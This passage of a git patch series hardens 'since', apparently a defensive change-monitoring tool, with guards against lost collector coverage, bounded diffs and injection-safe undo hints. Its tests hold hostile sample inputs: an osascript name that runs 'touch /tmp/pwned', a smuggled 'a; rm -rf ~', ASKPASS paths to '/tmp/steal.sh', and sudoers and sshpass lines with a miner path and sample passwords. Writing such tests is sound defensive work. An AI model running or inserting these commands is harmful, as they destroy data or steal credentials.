--cask {q(bare_key(key))}" return f"brew uninstall {q(key)}" if category == "kernel_extensions": return f"sudo kmutil unload -b {q(key)} # then reboot" @@ -1338,6 +1466,44 @@ def _is_priv_blob(key: str) -> bool: or "/etc/ld.so.preload" in key) +# Categories whose data is defined by an EXTERNAL tool that the user installed, so *which* +# binary answered matters as much as whether one did: /usr/bin/pip3 and /opt/homebrew/bin/pip3 +# report different package sets, and the daily job resolves a different PATH than your shell. +# The resolved path is stamped into each snapshot (like euid) and compared before diffing. +CAT_TOOLS = {"brew": "brew", "npm_global": "npm", "pip": "pip3", "mac_app_store": "mas"} + + +def tool_identity() -> dict: + return {cat: (shutil.which(tool) or "") for cat, tool in CAT_TOOLS.items()} + + +def unusable_cats(baseline: dict, current: dict) -> dict: + """{category: why} for categories whose collector FAILED in exactly one of the two + snapshots. Comparing those fabricates mass add/remove — the same trap the privilege + guard closes for listening/outbound. If it failed in BOTH there is nothing to compare + either way, so skip silently; a one-sided failure is what the user must be told about.""" + be = baseline.get("errors", {}) or {} + ce = current.get("errors", {}) or {} + out = {} + for k in set(be) | set(ce): + if k in CAT and (k in be) != (k in ce): + out[k] = ce.get(k) or be.get(k) or "collector failed" + # Same trap, subtler: the tool RAN in both snapshots but it wasn't the same binary + # (a shell run finds /opt/homebrew/bin/pip3, the launchd job finds /usr/bin/pip3), so + # every package looks swapped. Fail CLOSED when either side is unstamped (pre-v0.4.4): + # we can't confirm they agree, and a fabricated flood can bury a real install. + bt, ct = baseline.get("tools"), current.get("tools") + for cat in CAT_TOOLS: + if cat in out or cat not in CAT: + continue + if bt is None or ct is None: + out[cat] = "baseline predates tool stamping — can't confirm the same tool" + elif bt.get(cat, "") != ct.get(cat, ""): + out[cat] = (f"a different tool answered: {bt.get(cat) or '(none)'} " + f"vs {ct.get(cat) or '(none)'}") + return out + + def build_findings(baseline: dict, current: dict, include_quiet=False, skip_cats=(), skip_priv_blobs=False) -> list[dict]: rules = load_ignores() @@ -1349,6 +1515,11 @@ def build_findings(baseline: dict, current: dict, include_quiet=False, skip_cats continue base = baseline.get("collectors", {}).get(key, {}) cur = current.get("collectors", {}).get(key, {}) + # safe_load validates that `collectors` is a dict but not its VALUES: a snapshot + # holding `{"brew": ["x"]}` (hand-edited, half-written, restored from junk) passed + # validation and then raised TypeError here, killing the whole report. + if not isinstance(base, dict) or not isinstance(cur, dict): + continue added, removed, changed = diff_dicts(base, cur) for action, items in (("added", {k: cur[k] for k in added}), ("removed", {k: base[k] for k in removed}), @@ -1380,7 +1551,15 @@ def build_findings(baseline: dict, current: dict, include_quiet=False, skip_cats f = {"category": key, "label": meta["label"], "cls": meta["cls"], "action": action, "key": k, "value": v, "level": level, "trust": None, "why": None, "undo": None, **extra} - _enrich(f, current) + # Enrichment (trust check, attribution, undo hint) parses ATTACKER-WRITTEN + # files at diff time. Collectors are all failure-isolated; this path was not, + # and `main` catches only KeyboardInterrupt — so one malformed plist killed + # the entire digest, saved no snapshot, and therefore recurred every day. + # Degrade ONE finding instead of the report; the finding itself still shows. + try: + _enrich(f, current) + except Exception as e: + f["trust"] = f"enrichment failed ({type(e).__name__})" findings.append(f) # text blobs (system files) bb, bc = baseline.get("blobs", {}), current.get("blobs", {}) @@ -1393,8 +1572,18 @@ def build_findings(baseline: dict, current: dict, include_quiet=False, skip_cats if skip_priv_blobs and _is_priv_blob(key): continue status = "added" if ob is None else "removed" if oc is None else "changed" - udiff = list(difflib.unified_diff((ob or "").splitlines(), (oc or "").splitlines(), - lineterm="", n=0))[2:] + # difflib is O(n^2) on adversarial input: ~100 distinct repeated lines defeat its + # autojunk heuristic, so a planted 0.74MB ~/.zshrc took 32s of a real digest run + # (MAX_READ bounds the READ at 8MB; nothing bounded the DIFF). Above the cap report + # the change WITHOUT a line diff — same key, same severity, just no line detail. + ob_l, oc_l = (ob or "").splitlines(), (oc or "").splitlines() + if (max(len(ob_l), len(oc_l)) > DIFF_MAX_LINES + or max(len(ob or ""), len(oc or "")) > DIFF_MAX_BYTES): + udiff = [f"+ (file too large to diff line-by-line: " + f"{len(oc_l)} lines, {human_size(len(oc or ''))}; " + f"content hash {sha(oc or '')})"] + else: + udiff = list(difflib.unified_diff(ob_l, oc_l, lineterm="", n=0))[2:] level = ORANGE if status == "changed" else YELLOW if any(s in key for s in SENSITIVE_TEXT): level = max(level, ORANGE) @@ -1762,13 +1951,21 @@ def cmd_diff(args, notify_on=False): notes.append(pn) skip = () skip_priv_blobs = False + # Capability guard: a collector that couldn't run in ONE of the two snapshots (tool not + # on PATH — the daily job's PATH differs from your shell's — or a timeout) would + # otherwise report its whole category as removed/added. + unusable = unusable_cats(baseline, current) + if unusable: + skip = tuple(unusable) + for cat, why in sorted(unusable.items()): + notes.append(f"{CAT[cat]['label']}: comparison skipped — {clean(str(why))[:110]}") base_root = baseline.get("root") # None on unstamped (pre-v0.3) snapshots if base_root is None: - skip, skip_priv_blobs = PRIV_SENSITIVE_CATS, True + skip, skip_priv_blobs = tuple(set(skip) | set(PRIV_SENSITIVE_CATS)), True notes.append("baseline predates privilege stamping — listening/outbound and " "sudoers/crontab comparison skipped (can't confirm same privilege).") elif base_root != current.get("root"): - skip, skip_priv_blobs = PRIV_SENSITIVE_CATS, True + skip, skip_priv_blobs = tuple(set(skip) | set(PRIV_SENSITIVE_CATS)), True notes.append("baseline and now were taken at different privilege levels " f"({'root' if base_root else 'user'} vs " f"{'root' if current.get('root') else 'user'}) — " diff --git a/tests/test_since.py b/tests/test_since.py index 1e9dcce..bc350c1 100644 --- a/tests/test_since.py +++ b/tests/test_since.py @@ -255,12 +255,12 @@ def test_priv_blob_covers_all_cron(): def test_linux_undo_hints(monkeypatch): monkeypatch.setattr(since, "PLATFORM", "linux") - assert since.undo_hint("launch_items", "nginx.service", None) == "sudo systemctl disable --now nginx.service" - assert since.undo_hint("launch_items", "user:foo.service", None) == "systemctl --user disable --now foo.service" + assert since.undo_hint("launch_items", "nginx.service", None) == "sudo systemctl disable --now -- nginx.service" + assert since.undo_hint("launch_items", "user:foo.service", None) == "systemctl --user disable --now -- foo.service" assert since.undo_hint("kernel_extensions", "evil_rk", None).startswith("sudo modprobe -r evil_rk") - assert since.undo_hint("brew", "nginx", None).startswith("sudo apt remove nginx") - assert since.undo_hint("brew", "code (snap)", None) == "sudo snap remove code" - assert since.undo_hint("login_items", "x.desktop", None).startswith("rm ") + assert since.undo_hint("brew", "nginx", None).startswith("sudo apt remove -- nginx") + assert since.undo_hint("brew", "code (snap)", None) == "sudo snap remove -- code" + assert since.undo_hint("login_items", "x.desktop", None).startswith("rm -- ") # attacker-chosen names are still shlex-quoted on Linux assert shlex.quote("a; rm -rf ~") in since.undo_hint("brew", "a; rm -rf ~", None) @@ -661,9 +661,9 @@ def test_autostart_undo_hint_targets_the_right_dir(monkeypatch, tmp_path): monkeypatch.setattr(since, "PLATFORM", "linux") monkeypatch.setattr(since, "HOME", tmp_path) assert since.undo_hint("login_items", "x.desktop", None) == \ - f"rm {shlex.quote(str(tmp_path / '.config/autostart/x.desktop'))}" + f"rm -- {shlex.quote(str(tmp_path / '.config/autostart/x.desktop'))}" assert since.undo_hint("login_items", "x.desktop (system)", None) == \ - "sudo rm /etc/xdg/autostart/x.desktop" + "sudo rm -- /etc/xdg/autostart/x.desktop" # v3 #6 (Low) — the ' (~/Applications)' disambiguator is not part of the app's PATH; with @@ -804,3 +804,220 @@ def test_history_is_bounded_and_recent(monkeypatch, tmp_path): hist = since.load_history() assert hist and hist[-1] == "brew install pkg4999" # newest kept assert "brew install pkg0" not in hist # oldest dropped by the cap + + +# =========================================================================== # +# v0.4.4 — self-review findings (mutation-tested; see PENDING.md for repros). # +# =========================================================================== # + +# U1 (CRITICAL) — shell-quoting stops the SHELL, not the invoked program's option parser. +# `osascript` re-parsed the quoted login-item name as its own -e chunk and RAN it. +def test_login_item_hint_ends_option_parsing(monkeypatch): + monkeypatch.setattr(since, "PLATFORM", "macos") + evil = '-e property zz : (do shell script "touch /tmp/pwned")' + hint = since.undo_hint("login_items", evil, None) + assert "end run' -- " in hint, "no end-of-options guard: osascript will execute the name" + assert hint.index(" -- ") > hint.index("end run"), "the -- must come after the script chunks" + assert shlex.quote(evil) in hint # still shell-safe too + + +@pytest.mark.parametrize("cat,key", [("npm_global", "-g"), ("pip", "--upgrade"), + ("login_items", "-e evil")]) +def test_hints_guard_leading_dash_values(monkeypatch, cat, key): + monkeypatch.setattr(since, "PLATFORM", "macos") + hint = since.undo_hint(cat, key, None) + assert " -- " in hint, f"{cat} hint would pass {key!r} to the program as an OPTION" + + +def test_linux_hints_guard_leading_dash(monkeypatch, tmp_path): + monkeypatch.setattr(since, "PLATFORM", "linux") + monkeypatch.setattr(since, "HOME", tmp_path) + for cat, key in [("launch_items", "-evil.service"), ("brew", "-evil"), + ("brew", "-evil (snap)"), ("login_items", "-evil.desktop")]: + assert " -- " in since.undo_hint(cat, key, None), (cat, key) + + +# U2 — a cask key carries a ' (cask)' tag, so the emitted formula name did not exist. +def test_cask_undo_hint_names_a_real_formula(monkeypatch): + monkeypatch.setattr(since, "PLATFORM", "macos") + assert since.undo_hint("brew", "google-chrome (cask)", None) == \ + "brew uninstall --cask google-chrome" + assert since.undo_hint("brew", "wget", None) == "brew uninstall wget" + + +# U3 — /Library/LaunchAgents is root-owned, so the unprivileged rm silently failed. +def test_library_launchagents_hint_uses_sudo(monkeypatch): + monkeypatch.setattr(since, "PLATFORM", "macos") + for d in ("/Library/LaunchAgents", "/Library/LaunchDaemons"): + hint = since.undo_hint("launch_items", f"{d}/com.evil.plist", None) + assert "sudo rm" in hint, d + # a user-owned agent still needs no sudo + assert "sudo" not in since.undo_hint( + "launch_items", "~/Library/LaunchAgents/com.mine.plist", None) + + +# F1 (HIGH) — a *valid* plist with a non-dict root made plutil emit `["x"]`; `.get` on that +# raised, and because nothing isolates diff-time enrichment the whole digest died — saving no +# snapshot, so it recurred every day. +@pytest.mark.parametrize("body,label", [ + ("hi", "array root"), + ("ProgramArgumentsx", + "nested ProgramArguments"), + ("ProgramArguments", "dict in ProgramArguments"), + ("just a string", "string root"), +]) +def test_malformed_plist_does_not_crash(tmp_path, body, label): + p = tmp_path / "com.evil.plist" + p.write_text(f'{body}') + assert since.program_of_plist(str(p)) is None, label # no exception, no bogus path + + +def test_trust_of_rejects_non_string_and_non_regular(tmp_path): + for bad in ([1, 2], {"a": 1}, None, ""): + assert since.trust_of(bad) == (None, False) + fifo = tmp_path / "Evil.app" + os.mkfifo(fifo) + with deadline(): # would block for codesign's full 10s timeout + assert since.trust_of(str(fifo)) == (None, False) + + +def test_enrich_failure_degrades_one_finding_not_the_report(monkeypatch): + # program_of_plist, not trust_of: trust_of is only reached when a program was resolved, + # so patching it would have exercised nothing (the first version of this test did). + monkeypatch.setattr(since, "program_of_plist", + lambda p: (_ for _ in ()).throw(RuntimeError("boom"))) + b = snap() + c = snap(collectors={"launch_items": {"~/Library/LaunchAgents/x.plist": "1:a"}}) + findings = since.build_findings(b, c) # must not raise + f = next(x for x in findings if x["category"] == "launch_items") + assert "enrichment failed" in (f["trust"] or ""), f + assert f["level"] >= since.ORANGE, "the finding itself must still be reported" + + +# F6 — a wrong-type collector value in a baseline crashed the diff (safe_load only checks +# that `collectors` is a dict, not its values). +def test_wrong_type_collector_value_does_not_crash(): + b = snap() + b["collectors"]["brew"] = ["not", "a", "dict"] + c = snap(collectors={"login_items": {"a": "a"}}) + findings = since.build_findings(b, c) # must not raise + assert any(f["category"] == "login_items" for f in findings) + + +# F2 (HIGH) — difflib is quadratic on ~100 distinct repeated lines; MAX_READ bounded the READ +# but nothing bounded the DIFF (a planted 0.74MB rc file cost 32s of a real digest). +def test_huge_blob_diff_is_bounded_and_still_reported(): + a = "".join(f"line{i % 100}\n" for i in range(200_000)) + b_ = "".join(f"line{(i + 1) % 100}\n" for i in range(200_000)) + base, cur = snap(blobs={"~/.zshrc": a}), snap(blobs={"~/.zshrc": b_}) + t = time.time() + findings = since.build_findings(base, cur) + assert time.time() - t < 3.0, "quadratic diff is unbounded again" + cf = [f for f in findings if f["category"] == "config"] + assert cf and cf[0]["level"] >= since.ORANGE # still reported, at the same severity + assert "too large to diff" in cf[0]["diff"][0] + + +# F4 — the three state-dir reads that still blocked on a planted FIFO. +def test_state_dir_reads_never_block(monkeypatch, tmp_path): + monkeypatch.setattr(since, "STATE_DIR", tmp_path) + monkeypatch.setattr(since, "SNAP_DIR", tmp_path / "snapshots") + monkeypatch.setattr(since, "LABELS_FILE", tmp_path / "labels.json") + monkeypatch.setattr(since, "IGNORE_FILE", tmp_path / "ignore.txt") + (tmp_path / "snapshots").mkdir() + os.mkfifo(tmp_path / "snapshots" / "a.json") + os.mkfifo(tmp_path / "labels.json") + os.mkfifo(tmp_path / "ignore.txt") + with deadline(): + assert since.safe_load(tmp_path / "snapshots" / "a.json") is None + assert since.load_labels() == {} + assert since.load_ignores() == [] + + +# The capability guard: a collector that could not run in ONE snapshot must not have its whole +# category reported as removed — that flood also pushed a REAL new install past the render cap. +def test_capability_guard_suppresses_phantom_removals(): + full = snap(collectors={"brew": {f"pkg{i}": "1" for i in range(50)}}) + full["tools"] = {"brew": "/opt/homebrew/bin/brew"} + blind = snap(collectors={"brew": {}}) + blind["errors"] = {"brew": "not on PATH: brew"} + blind["tools"] = {"brew": ""} + assert since.unusable_cats(full, blind) == {"brew": "not on PATH: brew"} + kept = since.build_findings(full, blind, skip_cats=tuple(since.unusable_cats(full, blind))) + assert not [f for f in kept if f["category"] == "brew"], "phantom removals not suppressed" + # control: without the guard they DO flood + assert len([f for f in since.build_findings(full, blind) if f["category"] == "brew"]) == 50 + + +def test_capability_guard_catches_a_different_tool_answering(): + a, b = snap(collectors={"pip": {"x": "1"}}), snap(collectors={"pip": {"y": "2"}}) + a["tools"] = {"pip": "/opt/homebrew/bin/pip3"} + b["tools"] = {"pip": "/usr/bin/pip3"} # same tool NAME, different binary + assert "pip" in since.unusable_cats(a, b) + a["tools"] = b["tools"] = {"pip": "/usr/bin/pip3"} + assert "pip" not in since.unusable_cats(a, b) + # fail CLOSED when a snapshot predates tool stamping + c = snap(collectors={"pip": {"x": "1"}}) + c.pop("tools", None) + assert "pip" in since.unusable_cats(c, b) + + +def test_tool_identity_is_stamped_in_snapshots(): + t = since.tool_identity() + assert set(t) == set(since.CAT_TOOLS) + assert all(isinstance(v, str) for v in t.values()) + + +def test_need_raises_for_a_missing_tool(): + with pytest.raises(since.ToolUnavailable): + since.need("definitely-not-a-real-binary-xyz") + since.need("sh") # present: must not raise + + +# F5 — blobs are stored verbatim in every snapshot; 13 files at the 8MB read cap meant ~9.6GB +# across KEEP_SNAPSHOTS. Capped, but a change past the cap must still be detected. +def test_blob_storage_is_capped_but_change_still_detected(monkeypatch, tmp_path): + monkeypatch.setattr(since, "HOME", tmp_path) + monkeypatch.setattr(since, "PLATFORM", "macos") + big = "x" * (since.BLOB_MAX * 2) + (tmp_path / ".zshrc").write_text(big) + first = since.text_sources()["~/.zshrc"] + assert len(first) < since.BLOB_MAX + 200 + (tmp_path / ".zshrc").write_text(big[:-1] + "EVIL") # change PAST the cap + assert since.text_sources()["~/.zshrc"] != first + + +# Redaction: leaks that survived v0.4.3, and attacks v0.4.3 concealed. Both directions. +@pytest.mark.parametrize("line,secret", [ + ("+*/5 * * * * sshpass -p 'Tr0ub4dor&3' ssh a@h /x.sh", "Tr0ub4dor&3"), + ("+mysqldump -uroot -pTr0ub4dor3 db", "Tr0ub4dor3"), + ('+[url "https://aB3xYz9Qw2mN7pL1kJ4h@github.com/"]', "aB3xYz9Qw2mN7pL1kJ4h"), + ("+export MYSQL_PWD=Tr0ub4dor3", "Tr0ub4dor3"), + ('+oauth2-bearer = "aB3xYz9Qw2mN7pL1kJ4h"', "aB3xYz9Qw2mN7pL1kJ4h"), + ('+header = "X-Auth: aB3xYz9Qw2mN7pL1kJ4h"', "aB3xYz9Qw2mN7pL1kJ4h"), + ("+AuthorizedKeysCommand /usr/bin/fk --api-key=aB3xYz9Qw2mN7pL1", "aB3xYz9Qw2mN7pL1"), + ("+export NOPASSWD_TOKEN=aB3xYz9Qw2mN7pL1kJ4h", "aB3xYz9Qw2mN7pL1kJ4h"), + ("+deva ALL=(ALL) NOPASSWD: /usr/bin/sshpass -p Tr0ub4dor3 ssh root@x", "Tr0ub4dor3"), + ("+export SSH_ASKPASS=hunter2Mixed", "hunter2Mixed"), # non-path value under a path key +]) +def test_v044_no_leak(line, secret): + assert secret not in since.redact(line) + + +@pytest.mark.parametrize("line", [ + "+export SSH_AUTH_SOCK=/tmp/.evil/agent.sock", + "+export SSH_ASKPASS=/tmp/steal.sh", + "+export SUDO_ASKPASS=/tmp/steal.sh", + "+export GIT_ASKPASS=/tmp/steal.sh", + "+export PGPASSFILE=/tmp/evil.pgpass", + "+export SSH_AUTH_SOCK=$XDG_RUNTIME_DIR/gcr/ssh", + "+deva ALL=(ALL) PASSWD:NOEXEC: /tmp/miner", + "+deva ALL=(ALL) PASSWD:SETENV: ALL", + "+deva ALL=(ALL) PASSWD: ALL, !/usr/bin/su", + "+PasswordAuthentication=yes", + "+AuthorizedKeysFile=/tmp/evil/keys", + "+ssh -p 2222 user@host", + "+mkdir -p /tmp/x", +]) +def test_v044_does_not_hide_the_attack(line): + assert since.redact(line) == line From f9750105fabf164ee8d43bd0c87b94380db8a503 Mon Sep 17 00:00:00 2001 From: Deva Date: Sat, 25 Jul 2026 11:54:04 +0530 Subject: [PATCH 2/7] v0.4.4: escalate lost monitoring coverage to a ranked finding MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit Found by reviewing the capability guard added earlier in this release. The guard correctly stops the phantom-removal flood, but reported the skip as a passive `note:` — and measurement showed neither the old 50-line flood nor the note ever reaches the --notify threshold (both below ORANGE). An attacker who breaks `brew`, or swaps the binary so the tool-identity stamp differs, therefore bought silence for their own install: strictly worse than the noisy flood it replaced. A category that was visible in the baseline and is not now yields an ORANGE "LOST VISIBILITY" finding that ranks under "worth a look" and fires the notification. Benign cases stay quiet notes: a first run, a tool absent in both snapshots, and the one-time pre-v0.4.4 tool-stamp transition — all three verified, plus mutation tests V23/V24 (report-as-note, and cry-wolf-on-every-skip both get caught). Suite 173 -> 176. Also recorded: the Linux undo-hint `--` guards are now verified in a throwaway ubuntu:24.04 container rather than assumed — systemctl and modprobe reject the crafted name as an option WITHOUT `--` and accept it as a name WITH it, and apt-get parses a leading-dash arg as a package name. I first concluded `--` broke flatpak, from a single test using an invalid leading-dash id; a normal id disproved it (flatpak rejects such names by design). No code change needed there. Co-Authored-By: Claude --- CHANGELOG.md | 11 ++++++++++- README.md | 2 +- since.py | 33 +++++++++++++++++++++++++++++-- tests/test_since.py | 47 +++++++++++++++++++++++++++++++++++++++++++++ 4 files changed, 89 insertions(+), 4 deletions(-) diff --git a/CHANGELOG.md b/CHANGELOG.md index 06a637f..baa74e8 100644 --- a/CHANGELOG.md +++ b/CHANGELOG.md @@ -6,7 +6,7 @@ All notable changes to `since`. Format loosely follows Keep a Changelog. A security release fixing **16 issues found by reviewing v0.4.3 itself** — each reproduced by execution before being fixed, and each pinned by a regression test that was *mutation-tested* -(revert the fix, confirm the test fails: **24/24 caught**). Suite 129 → **173**. Most of these sat +(revert the fix, confirm the test fails: **24/24 caught**). Suite 129 → **176**. Most of these sat behind an architectural blind spot rather than inside any one function: - Every previous audit round hardened the **snapshot** boundary; **diff-time enrichment had no @@ -70,6 +70,15 @@ behind an architectural blind spot rather than inside any one function: read cap meant ~109 MB per snapshot and ~9.6 GB across `KEEP_SNAPSHOTS=90` → ~293 MB, with changes past the cap still detected. +- **Losing sight of a category is now a ranked finding, not a whisper.** Skipping an unusable + category is right (comparing fabricates mass add/remove) — but a passive `note:` would have let + an attacker buy *silence* by breaking a collector's tool, since neither the old phantom flood nor + a note ever reached the `--notify` threshold. A category that was visible in the baseline and + isn't now yields an ORANGE **"LOST VISIBILITY"** finding that ranks under "worth a look" and + fires the notification. A first run, a legitimately absent tool, or the one-time pre-v0.4.4 + stamp transition stays a quiet note — verified in all three directions. (Found by reviewing the + capability guard added earlier in this same release.) + **Docs:** `SECURITY.md`'s `PATH` paragraph was **wrong by omission** — it presented the daily job's minimal `PATH` purely as a safety property when it was also the cause of the blindness above. It now states the trade plainly: the pinned `PATH` includes user-writable directories, and `since` diff --git a/README.md b/README.md index 0b496ba..3c65227 100644 --- a/README.md +++ b/README.md @@ -212,7 +212,7 @@ silent changes visible. ```sh python3 -m pip install pytest -python3 -m pytest # 173 unit tests: diff/severity/time logic, injection-safety, +python3 -m pytest # 176 unit tests: diff/severity/time logic, injection-safety, # privilege guard, corruption tolerance, secret redaction ``` diff --git a/since.py b/since.py index a73dd69..0cd5e25 100755 --- a/since.py +++ b/since.py @@ -1504,8 +1504,25 @@ def unusable_cats(baseline: dict, current: dict) -> dict: return out +def coverage_lost(baseline: dict, current: dict, unusable: dict) -> dict: + """{category: reason} for the subset of `unusable` that means we USED to see a category and + now cannot. Skipping a category is the right call (comparing fabricates mass add/remove) — + but silently skipping it is not: losing visibility is itself a security event, and an + attacker who breaks `brew` would otherwise buy silence for their own install. A first run, + or a baseline predating tool stamping, is NOT a loss — that's benign and gets a note only.""" + bt = baseline.get("tools") or {} + be = baseline.get("errors", {}) or {} + ce = current.get("errors", {}) or {} + lost = {} + for cat, why in unusable.items(): + had_it = bool(bt.get(cat)) and cat not in be # baseline could genuinely see it + if had_it and (cat in ce or not (current.get("tools") or {}).get(cat)): + lost[cat] = why + return lost + + def build_findings(baseline: dict, current: dict, include_quiet=False, skip_cats=(), - skip_priv_blobs=False) -> list[dict]: + skip_priv_blobs=False, coverage: dict | None = None) -> list[dict]: rules = load_ignores() findings: list[dict] = [] for key, meta in CAT.items(): @@ -1596,6 +1613,13 @@ def build_findings(baseline: dict, current: dict, include_quiet=False, skip_cats findings.append({"category": "config", "label": "System files", "cls": "config", "action": status, "key": key, "value": None, "level": level, "trust": None, "why": why, "undo": None, "diff": udiff}) + # Losing a whole category is ranked, not whispered — so it reaches "worth a look" and can + # fire --notify, instead of an attacker gaining silence by breaking the collector's tool. + for cat, why in sorted((coverage or {}).items()): + findings.append({"category": "coverage", "label": "Monitoring coverage", + "cls": "config", "action": "changed", "key": CAT[cat]["label"], + "value": None, "level": ORANGE, "trust": None, + "why": f"no longer visible: {why}", "undo": None}) findings.sort(key=lambda f: (-f["level"], f["category"], f["key"])) return findings @@ -1657,6 +1681,8 @@ def _describe(f: dict) -> str: if f.get("removed_ports"): bits.append("stopped listening on port(s) " + clean(", ".join(f["removed_ports"]))) return f"listener {paint(key, 'bold')} " + "; ".join(bits) + if cat == "coverage": + return f"LOST VISIBILITY: {paint(key, 'bold')} is no longer being monitored" if cat == "config": tag = {"added": "now tracked", "removed": "gone", "changed": "edited"}[action] return f"{key} ({tag})" @@ -1955,9 +1981,12 @@ def cmd_diff(args, notify_on=False): # on PATH — the daily job's PATH differs from your shell's — or a timeout) would # otherwise report its whole category as removed/added. unusable = unusable_cats(baseline, current) + lost = coverage_lost(baseline, current, unusable) if unusable: skip = tuple(unusable) for cat, why in sorted(unusable.items()): + if cat in lost: + continue # reported as a ranked finding instead of a passive note notes.append(f"{CAT[cat]['label']}: comparison skipped — {clean(str(why))[:110]}") base_root = baseline.get("root") # None on unstamped (pre-v0.3) snapshots if base_root is None: @@ -1971,7 +2000,7 @@ def cmd_diff(args, notify_on=False): f"{'root' if current.get('root') else 'user'}) — " "listening/outbound and sudoers/crontab comparison skipped to avoid false alarms.") - findings = build_findings(baseline, current, include_quiet=args.all, + findings = build_findings(baseline, current, coverage=lost, include_quiet=args.all, skip_cats=skip, skip_priv_blobs=skip_priv_blobs) big, growing, big_note = find_big_new_files(baseline.get("epoch", current["epoch"])) if big_note: diff --git a/tests/test_since.py b/tests/test_since.py index bc350c1..1feb6b0 100644 --- a/tests/test_since.py +++ b/tests/test_since.py @@ -1021,3 +1021,50 @@ def test_v044_no_leak(line, secret): ]) def test_v044_does_not_hide_the_attack(line): assert since.redact(line) == line + + +# Losing sight of a category is itself a security event: the capability guard correctly stops +# the phantom flood, but a passive `note:` would let an attacker buy SILENCE by breaking a +# collector's tool (neither the flood nor a note ever fired --notify). +def _cap_snap(brew, errors=None, tools=None): + s = snap(collectors={"brew": brew}) + s["errors"] = errors or {} + if tools is not None: + s["tools"] = tools + else: + s.pop("tools", None) + return s + + +def test_lost_coverage_is_ranked_and_would_notify(): + full = _cap_snap({f"pkg{i}": "1" for i in range(50)}, tools={"brew": "/opt/homebrew/bin/brew"}) + blind = _cap_snap({}, errors={"brew": "not on PATH: brew"}, tools={"brew": ""}) + unusable = since.unusable_cats(full, blind) + lost = since.coverage_lost(full, blind, unusable) + assert lost, "a working baseline losing its tool must count as lost coverage" + findings = since.build_findings(full, blind, skip_cats=tuple(unusable), coverage=lost) + assert not [f for f in findings if f["category"] == "brew"] # no phantom flood + cov = [f for f in findings if f["category"] == "coverage"] + assert len(cov) == 1 and cov[0]["level"] == since.ORANGE + assert since.max_level(findings) >= since.ORANGE, "must be loud enough to notify" + out = since.render(findings, full, blind, [], []) + assert "LOST VISIBILITY" in out and "Worth a look" in out + + +def test_benign_tool_stamp_transition_does_not_alarm(): + # a pre-v0.4.4 baseline has no tool stamp: skip the comparison, but do NOT cry wolf + old = _cap_snap({f"pkg{i}": "1" for i in range(50)}) + new = _cap_snap({f"pkg{i}": "1" for i in range(50)}, tools={"brew": "/opt/homebrew/bin/brew"}) + unusable = since.unusable_cats(old, new) + assert "brew" in unusable # skipped (fail closed) + assert since.coverage_lost(old, new, unusable) == {} # but not an alarm + findings = since.build_findings(old, new, skip_cats=tuple(unusable), + coverage=since.coverage_lost(old, new, unusable)) + assert not [f for f in findings if f["category"] == "coverage"] + + +def test_tool_absent_in_both_snapshots_is_silent(): + a = _cap_snap({}, errors={"brew": "not on PATH: brew"}, tools={"brew": ""}) + b = _cap_snap({}, errors={"brew": "not on PATH: brew"}, tools={"brew": ""}) + assert since.unusable_cats(a, b) == {} # nothing to compare either way + assert since.coverage_lost(a, b, {}) == {} From 1ceec16cccb5ddacd9eaf9e724fc73d37f2662f5 Mon Sep 17 00:00:00 2001 From: Deva Date: Sat, 25 Jul 2026 11:54:23 +0530 Subject: [PATCH 3/7] docs: place the lost-coverage entry beside the capability guard it amends --- CHANGELOG.md | 17 ++++++++--------- 1 file changed, 8 insertions(+), 9 deletions(-) diff --git a/CHANGELOG.md b/CHANGELOG.md index baa74e8..46f9d36 100644 --- a/CHANGELOG.md +++ b/CHANGELOG.md @@ -39,6 +39,14 @@ behind an architectural blind spot rather than inside any one function: either snapshot (snapshots now stamp tool identity, schema 4); and `install.sh` **pins the job's `PATH`**, copying the installing shell's resolution order. A transient `brew list` timeout caused the identical flood, so the guard — not the `PATH` — is the real fix. +- **Losing sight of a category is now a ranked finding, not a whisper.** Skipping an unusable + category is right (comparing fabricates mass add/remove) — but a passive `note:` would have let + an attacker buy *silence* by breaking a collector's tool, since neither the old phantom flood nor + a note ever reached the `--notify` threshold. A category that was visible in the baseline and + isn't now yields an ORANGE **"LOST VISIBILITY"** finding that ranks under "worth a look" and + fires the notification. A first run, a legitimately absent tool, or the one-time pre-v0.4.4 + stamp transition stays a quiet note — verified in all three directions. (Found by reviewing the + capability guard added earlier in this same release.) - **`difflib` was quadratic on a planted rc file** (~100 distinct repeated lines defeat its autojunk filter): a 0.74 MB `~/.zshrc` cost 32s of a real digest run. `MAX_READ` bounded the read; nothing bounded the diff. Above 20k lines / 1 MB the change is reported *with a content @@ -70,15 +78,6 @@ behind an architectural blind spot rather than inside any one function: read cap meant ~109 MB per snapshot and ~9.6 GB across `KEEP_SNAPSHOTS=90` → ~293 MB, with changes past the cap still detected. -- **Losing sight of a category is now a ranked finding, not a whisper.** Skipping an unusable - category is right (comparing fabricates mass add/remove) — but a passive `note:` would have let - an attacker buy *silence* by breaking a collector's tool, since neither the old phantom flood nor - a note ever reached the `--notify` threshold. A category that was visible in the baseline and - isn't now yields an ORANGE **"LOST VISIBILITY"** finding that ranks under "worth a look" and - fires the notification. A first run, a legitimately absent tool, or the one-time pre-v0.4.4 - stamp transition stays a quiet note — verified in all three directions. (Found by reviewing the - capability guard added earlier in this same release.) - **Docs:** `SECURITY.md`'s `PATH` paragraph was **wrong by omission** — it presented the daily job's minimal `PATH` purely as a safety property when it was also the cause of the blindness above. It now states the trade plainly: the pinned `PATH` includes user-writable directories, and `since` From 6c8e521939e937c6ad63d30399f061123a3adce9 Mon Sep 17 00:00:00 2001 From: Deva Date: Sat, 25 Jul 2026 11:57:48 +0530 Subject: [PATCH 4/7] v0.4.4: a SWAPPED collector tool is lost coverage too, not a note Second route into the same suppression gap, found by re-attacking the fix for the first one. The guard reported `a different tool answered: /opt/homebrew/bin/brew vs ~/.local/bin/brew` as a passive note, and since install.sh must pin a job PATH that includes user-writable directories (that is the only way the job can see brew/npm/pip at all), planting a shim there is the cheapest suppression available: no error is raised, the tool identity simply changes, the category is skipped, and nothing ever reaches the notify threshold. A swapped tool is now lost coverage exactly like a vanished one: ORANGE "LOST VISIBILITY" that ranks and notifies. Benign cases still stay quiet notes - a first run, a tool absent from both snapshots, and the one-time pre-v0.4.4 tool-stamp transition (a Homebrew reinstall or python upgrade will fire it once, which is worth one look). Verified in all four directions; mutations V25 (treat a swap as benign) and V26 (cry wolf on the pre-stamp transition) are both caught. Suite 176 -> 177, 28/28 mutations cumulatively. Co-Authored-By: Claude --- CHANGELOG.md | 11 +++++++---- README.md | 2 +- since.py | 12 +++++++++++- tests/test_since.py | 14 ++++++++++++++ 4 files changed, 33 insertions(+), 6 deletions(-) diff --git 